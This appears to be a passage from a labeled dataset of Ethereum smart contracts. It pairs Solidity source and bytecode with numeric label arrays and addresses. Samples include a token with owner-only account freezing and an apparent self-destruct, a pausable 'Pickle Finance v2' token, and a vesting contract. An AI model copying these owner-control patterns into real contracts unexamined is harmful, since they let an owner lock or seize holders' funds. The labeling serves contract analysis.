OWN_DistributeTokenAdmin_Multi(address[] addresses, uint256 _value, bool freeze) onlyOwner public { for (uint i = 0; i < addresses.length; i++) { //Block / Unlock address handling tokens frozenAccount[addresses[i]] = freeze; emit FrozenFunds(addresses[i], freeze); bytes memory empty; if (isContract(addresses[i])) { transferToContract(addresses[i], _value, empty); } else { transferToAddress(addresses[i], _value, empty); } } } }
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610186578063072933e91461021657806307cb44191461022d578063153737f51461025c57806318160ddd146102d85780631963a0d1146103035780632152b48314610352578063313ce567146103a157806333a581d2146103d25780634bbd3061146103fd57806370a082311461042857806371a2e46d1461047f57806375fcc6f1146104c25780638da5cb5b1461052757806395d89b411461057e578063990a6a641461060e578063a9059cbb1461063d578063acb39d30146106a2578063b414d4b6146106d1578063be45fd621461072c578063d2656069146107d7578063d440349514610832575b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561018457600080fd5b005b34801561019257600080fd5b5061019b61085f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101db5780820151818401526020810190506101c0565b50505050905090810190601f1680156102085780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022257600080fd5b5061022b610901565b005b34801561023957600080fd5b5061025a600480360381019080803515159060200190929190505050610998565b005b34801561026857600080fd5b506102d66004803603810190808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919291929080359060200190929190803515159060200190929190505050610a11565b005b3480156102e457600080fd5b506102ed610bf8565b6040518082815260200191505060405180910390f35b34801561030f57600080fd5b50610350600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610c02565b005b34801561035e57600080fd5b5061039f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610d28565b005b3480156103ad57600080fd5b506103b6610dee565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103de57600080fd5b506103e7610e05565b6040518082815260200191505060405180910390f35b34801561040957600080fd5b50610412610e29565b6040518082815260200191505060405180910390f35b34801561043457600080fd5b50610469600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e33565b6040518082815260200191505060405180910390f35b34801561048b57600080fd5b506104c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e7c565b005b3480156104ce57600080fd5b5061050d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2c565b604051808215151515815260200191505060405180910390f35b34801561053357600080fd5b5061053c61108d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561058a57600080fd5b506105936110b3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d35780820151818401526020810190506105b8565b50505050905090810190601f1680156106005780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061a57600080fd5b50610623611155565b604051808215151515815260200191505060405180910390f35b34801561064957600080fd5b50610688600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611168565b604051808215151515815260200191505060405180910390f35b3480156106ae57600080fd5b506106b761126f565b604051808215151515815260200191505060405180910390f35b3480156106dd57600080fd5b50610712600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611282565b604051808215151515815260200191505060405180910390f35b34801561073857600080fd5b506107bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112a2565b604051808215151515815260200191505060405180910390f35b3480156107e357600080fd5b50610818600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a7565b604051808215151515815260200191505060405180910390f35b34801561083e57600080fd5b5061085d600480360381019080803590602001909291905050506113fd565b005b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108f75780601f106108cc576101008083540402835291602001916108f7565b820191906000526020600020905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561095d57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f457600080fd5b80600560146101000a81548160ff02191690831515021790555050565b60006060600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a7157600080fd5b600091505b8451821015610bf15782600860008785815181101515610a9257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58583815181101515610b1c57fe5b9060200190602002015184604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a1610b938583815181101515610b8457fe5b906020019060200201516115b2565b15610bc057610bba8583815181101515610ba957fe5b9060200190602002015185836115c5565b50610be4565b610be28583815181101515610bd157fe5b9060200190602002015185836117b1565b505b8180600101925050610a76565b5050505050565b6000600454905090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c5e57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8457600080fd5b610d8d826115b2565b15610dea5780600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600360009054906101000a900460ff16905090565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000600654905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ed857600080fd5b610ee1816115b2565b1515610f295780600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f8a57600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fd857600080fd5b81600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561114b5780601f106111205761010080835404028352916020019161114b565b820191906000526020600020905b81548152906001019060200180831161112e57829003601f168201915b5050505050905090565b600560149054906101000a900460ff1681565b60006060600560149054906101000a900460ff1615151561118857600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156111e157600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561123a57600080fd5b611243846115b2565b1561125a576112538484836115c5565b9150611268565b6112658484836117b1565b91505b5092915050565b600560159054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6000600560149054906101000a900460ff161515156112c057600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561131957600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561137257600080fd5b61137b846115b2565b156113925761138b8484846115c5565b90506113a0565b61139d8484846117b1565b90505b9392505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145957600080fd5b8060076000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600080823b905060008111915050919050565b6000600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561161f57600080fd5b8261162933610e33565b101561163457600080fd5b61164661164033610e33565b84611945565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169b61169585610e33565b8461195f565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b60208310151561171457805182526020820191506020810190506020830392506116ef565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b6000826117bd33610e33565b10156117c857600080fd5b6117da6117d433610e33565b84611945565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061182f61182985610e33565b8461195f565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156118a85780518252602082019150602081019050602083039250611883565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a4600190509392505050565b60008183101561195457600080fd5b818303905092915050565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0383111561199057600080fd5b8183019050929150505600a165627a7a723058204450f5e1db582be2ea140bf1db81477968dd19b8a187763d61b4a4e1abc1de060029
[ 1, 14, 12 ]
0xf2ddd76acf2e72f9134eb2861b7a25e266ef193c
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title PickleFinanceToken * @dev PickleFinanceToken is an ERC20 implementation of the PickleFinance ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract PickleFinanceToken is Ownable, ERC20Pausable { string public constant name = "Pickle Finance v2"; string public constant symbol = "PICKLES"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 500000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610426565b604080519115158252519081900360200190f35b6101f6610451565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610457565b610246610484565b6040805160ff9092168252519081900360200190f35b6101f6610489565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610497565b6102986104bb565b005b610298600480360360208110156102b057600080fd5b5035610562565b6101da61056f565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057f565b610298600480360360408110156102fb57600080fd5b506001600160a01b03813516906020013561059a565b6102986105a8565b610321610656565b604080516001600160a01b039092168252519081900360200190f35b6101da610665565b610139610676565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610699565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106bd565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106e1565b610298600480360360208110156103e957600080fd5b50356001600160a01b031661070c565b604051806040016040528060118152602001702834b1b5b632902334b730b731b2903b1960791b81525081565b600354600090600160a01b900460ff161561044057600080fd5b61044a8383610806565b9392505050565b60025490565b600354600090600160a01b900460ff161561047157600080fd5b61047c84848461081c565b949350505050565b601281565b6969e10de76676d080000081565b600354600090600160a01b900460ff16156104b157600080fd5b61044a8383610873565b6104c3610665565b610514576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052a57600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056c33826108af565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a48282610988565b5050565b6105b0610665565b610601576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061857600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b604051806040016040528060078152602001665049434b4c455360c81b81525081565b600354600090600160a01b900460ff16156106b357600080fd5b61044a83836109cd565b600354600090600160a01b900460ff16156106d757600080fd5b61044a8383610a09565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610714610665565b610765576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107aa5760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1f6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610813338484610a16565b50600192915050565b6000610829848484610b02565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610869918691610864908663ffffffff610c4416565b610a16565b5060019392505050565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610813918590610864908663ffffffff610ca116565b6001600160a01b0382166108f45760405162461bcd60e51b8152600401808060200182810382526021815260200180610d676021913960400191505060405180910390fd5b600254610907908263ffffffff610c4416565b6002556001600160a01b038216600090815260208190526040902054610933908263ffffffff610c4416565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61099282826108af565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a4918491610864908563ffffffff610c4416565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610813918590610864908663ffffffff610c4416565b6000610813338484610b02565b6001600160a01b038316610a5b5760405162461bcd60e51b8152600401808060200182810382526024815260200180610dad6024913960400191505060405180910390fd5b6001600160a01b038216610aa05760405162461bcd60e51b8152600401808060200182810382526022815260200180610d456022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b475760405162461bcd60e51b8152600401808060200182810382526025815260200180610d886025913960400191505060405180910390fd5b6001600160a01b038216610b8c5760405162461bcd60e51b8152600401808060200182810382526023815260200180610cfc6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb5908263ffffffff610c4416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610bea908263ffffffff610ca116565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c9b576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008282018381101561044a576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820654ac2199e3ccc27c6cf52a4c04afea4896a6a625f0b6ba4808fb30f49111b2364736f6c63430005110032
[ 38 ]
0xf2dE05FFBa6eA77b67F3095123Dc6699d27D6a01
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "@openzeppelin/contracts/math/SafeMath.sol"; contract CancelableDelegatingVester { using SafeMath for uint256; /// @dev The name of this contract string public constant name = "Indexed Team Vesting Contract"; address public immutable terminator; address public immutable ndx; uint256 public immutable vestingAmount; uint256 public immutable vestingBegin; uint256 public immutable vestingEnd; address public recipient; uint256 public lastUpdate; constructor( address terminator_, address ndx_, address recipient_, uint256 vestingAmount_, uint256 vestingBegin_, uint256 vestingEnd_ ) public { require( vestingBegin_ >= block.timestamp, "CancelableDelegatingVester::constructor: vesting begin too early" ); require( vestingEnd_ > vestingBegin_, "CancelableDelegatingVester::constructor: vesting end too early" ); terminator = terminator_; ndx = ndx_; recipient = recipient_; vestingAmount = vestingAmount_; vestingBegin = vestingBegin_; vestingEnd = vestingEnd_; lastUpdate = vestingBegin_; } function delegate(address delegatee) external { require( msg.sender == recipient, "CancelableDelegatingVester::delegate: unauthorized" ); INdx(ndx).delegate(delegatee); } function setRecipient(address recipient_) external { require( msg.sender == recipient, "CancelableDelegatingVester::setRecipient: unauthorized" ); recipient = recipient_; } function claim() public { uint256 amount; if (block.timestamp >= vestingEnd) { amount = INdx(ndx).balanceOf(address(this)); } else { amount = vestingAmount.mul(block.timestamp - lastUpdate).div( vestingEnd - vestingBegin ); lastUpdate = block.timestamp; } INdx(ndx).transfer(recipient, amount); } function terminate() external { require( msg.sender == terminator, "CancelableDelegatingVester::terminate: unauthorized" ); claim(); uint256 amount = INdx(ndx).balanceOf(address(this)); INdx(ndx).transfer(terminator, amount); } } interface INdx { function balanceOf(address account) external view returns (uint256); function transfer(address dst, uint256 rawAmount) external returns (bool); function delegate(address delegatee) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic 